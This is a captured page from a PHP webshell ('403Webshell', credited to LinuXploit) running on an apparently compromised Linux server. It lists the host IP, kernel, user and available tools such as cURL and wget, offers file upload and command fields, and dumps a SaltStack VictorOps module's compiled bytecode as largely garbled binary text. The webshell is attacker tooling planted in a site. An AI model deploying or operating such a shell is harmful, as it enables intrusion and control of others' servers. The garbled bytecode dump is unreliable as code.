403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/victorops.cpython-310.pyc
o

;j�@shdZddlZddlZddlZddlZddlZddlmZe�	e
�ZdZdd�Z
	d
dd	�Zddd�ZdS)z�
Support for VictorOps

.. versionadded:: 2015.8.0

Requires an ``api_key`` in ``/etc/salt/minion``:

.. code-block:: yaml

    victorops:
      api_key: '280d4699-a817-4719-ba6f-ca56e573e44f'
�N)�SaltInvocationErrorzNo VictorOps api key found.cCs$tdd�stdd�sdtfSdS)z5
    Only load the module if apache is installed
    �
config.get�victorops.api_key�victorops:api_keyFT)�__salt__�_api_key_missing_error�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/victorops.py�__virtual__s
�r
�GETc
Cs�tdd�ptdd�}d}|r||�d�7}|r ||�d�7}|r&||7}t�d|�t|t�s3i}|dur;dd	i}|d
krCd	|d<d}|d
krKd}tjjj||||||dddddt	d�}	d|	vrqt�
|	d�|	d|	dgS|	d|	�di�gS)z&
    Make a web call to VictorOps
    rrrz:https://alert.victorops.com/integrations/generic/20131114/�/zVictorOps URL: %sNzContent-typezapplication/json�POSTZAcceptTZDELETEF�json)
�params�data�header_dict�decodeZdecode_type�text�statusZcookiesZpersist_session�opts�errorr�dict)r�log�debug�
isinstancer�salt�utils�http�queryZ__opts__r�get)
�action�routing_key�args�methodrrZapi_key�pathr�resultrrr	�_query&sL�
�r&�	everybodyc	Ksvttttttd�}i}|std��|��dvrtd��||d<d|d<d|vrW|�d	d
�}ztj�|d|�}tt�	|�
���|d<WnttfyVtd�
|d|���wd|vr�|�d
d
�}ztj�|d|�}tt�	|�
���|d<Wnttfy�td�
|d|���w|D]}	|	|vr�t||	||	�r�||	||	<q�t�d|	�q�td|tjj�|�dd�\}
}|S)a�
    Create an event in VictorOps. Designed for use in states.

    The following parameters are required:

    :param message_type:            One of the following values: INFO, WARNING, ACKNOWLEDGEMENT, CRITICAL, RECOVERY.

    The following parameters are optional:

    :param routing_key:             The key for where messages should be routed. By default, sent to
                                    'everyone' route.

    :param entity_id:               The name of alerting entity. If not provided, a random name will be assigned.

    :param timestamp:               Timestamp of the alert in seconds since epoch. Defaults to the
                                    time the alert is received at VictorOps.

    :param timestamp_fmt            The date format for the timestamp parameter.

    :param state_start_time:        The time this entity entered its current state
                                    (seconds since epoch). Defaults to the time alert is received.

    :param state_start_time_fmt:    The date format for the timestamp parameter.

    :param state_message:           Any additional status information from the alert item.

    :param entity_is_host:          Used within VictorOps to select the appropriate
                                    display format for the incident.

    :param entity_display_name:     Used within VictorOps to display a human-readable name for the entity.

    :param ack_message:             A user entered comment for the acknowledgment.

    :param ack_author:              The user that acknowledged the incident.

    :return:                        A dictionary with result, entity_id, and message if result was failure.

    CLI Example:

    .. code-block:: yaml

        salt myminion victorops.create_event message_type='CRITICAL' routing_key='everyone'                  entity_id='hostname/diskspace'

        salt myminion victorops.create_event message_type='ACKNOWLEDGEMENT' routing_key='everyone'                  entity_id='hostname/diskspace' ack_message='Acknowledged' ack_author='username'

        salt myminion victorops.create_event message_type='RECOVERY' routing_key='everyone'                  entity_id='hostname/diskspace'

    The following parameters are required:
        message_type

    )Z	entity_idZ
state_messageZentity_is_hostZentity_display_nameZack_messageZ
ack_authorz,Required argument "message_type" is missing.)�INFO�WARNINGZACKNOWLEDGEMENT�CRITICALZRECOVERYzM"message_type" must be INFO, WARNING, ACKNOWLEDGEMENT, CRITICAL, or RECOVERY.�message_typeZ	SaltStackZmonitoring_tool�	timestamp�
timestamp_fmtz%Y-%m-%dT%H:%M:%Sz'Date string could not be parsed: {}, {}�state_start_time�state_start_time_fmtzWrong type, skipping %sZalertr
)r r!rr#)�str�boolr�upperr�datetime�strptime�int�time�mktime�	timetuple�	TypeError�
ValueError�formatrrrr&rrr�dumps)r+r!�kwargsZkeyword_argsrr-r,r/r.�kwargrr%rrr	�create_event_sn9�	���������
�r?)NNNrNN)Nr')�__doc__r3�loggingr6Zsalt.utils.httprZsalt.utils.jsonZsalt.exceptionsr�	getLogger�__name__rrr
r&r?rrrr	�<module>s


�9

Youez - 2016 - github.com/yon3zu
LinuXploit